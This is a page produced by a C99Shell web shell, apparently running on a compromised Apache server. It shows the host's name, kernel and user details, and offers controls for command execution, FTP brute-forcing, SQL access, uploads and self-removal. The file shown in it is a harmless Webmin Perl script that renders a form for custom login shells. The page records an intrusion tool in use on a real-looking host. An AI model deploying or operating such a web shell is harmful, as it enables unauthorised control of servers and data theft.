!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     edit_newshells.cgi (2.04 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show a form for entering custom shells

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'newshells_ecannot'});
&ui_print_header(undef, $text{'newshells_title'}, "", "newshells");

print $text{'newshells_descr'},"<p>\n";

# Find available shells
@shells = &list_available_shells();
$i = 0;
@fields = ( );
foreach $s (@shells) {
    push(@fields, "shell_$i", "desc_$i", "owner_$i", "mailbox_$i",
              "reseller_$i", "default_$i", "avail_$i");
    $i++;
    }
print &ui_form_start("save_newshells.cgi", "post");

# Use defaults?
print "<b>$text{'newshells_defs'}</b>\n";
$defs = -r $custom_shells_file ? 0 : 1;
$js1 = &js_disable_inputs(\@fields, [ ], "onClick");
$js0 = &js_disable_inputs([ ], \@fields, "onClick");
print &ui_radio("defs", $defs,
        [ [ 1, $text{'newshells_defs1'}, $js1 ],
          [ 0, $text{'newshells_defs0'}, $js0 ] ]),"<p>\n";

# Build custom shells table rows
$i = 0;
foreach $s (@shells, { }) {
    push(@table, [
        { 'type' => 'checkbox', 'name' => "avail_$i",
          'value' => 1, 'checked' => $s->{'avail'},
          'disabled' => $defs },
        &ui_textbox("shell_$i", $s->{'shell'}, 25, $defs),
        &ui_textbox("desc_$i", $s->{'desc'}, 40, $defs),
        &ui_checkbox("owner_$i", 1, " ", $s->{'owner'}, undef, $defs),
        &ui_checkbox("mailbox_$i", 1, " ", $s->{'mailbox'},
                 undef, $defs),
        &ui_checkbox("reseller_$i", 1, " ", $s->{'reseller'},
                 undef, $defs),
        &ui_checkbox("default_$i", 1, " ", $s->{'default'},
                 undef, $defs),
        &ui_select("id_$i", $s->{'id'},
               [ [ 'nologin', $text{'limits_shell_nologin'} ],
                 [ 'ftp', $text{'limits_shell_ftp'} ],
                 [ 'ssh', $text{'limits_shell_ssh'} ] ]),
        ]);
    $i++;
    }

# Render the table
print &ui_columns_table(
    [ $text{'newshells_avail'}, $text{'newshells_shell'},
      $text{'newshells_desc'}, $text{'newshells_owner'},
      $text{'newshells_mailbox'}, $text{'newshells_reseller'},
      $text{'newshells_default'}, $text{'newshells_id'}, ],
    100,
    \@table,
    undef,
    1);

print &ui_form_end([ [ undef, $text{'save'} ] ]);

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0214 ]--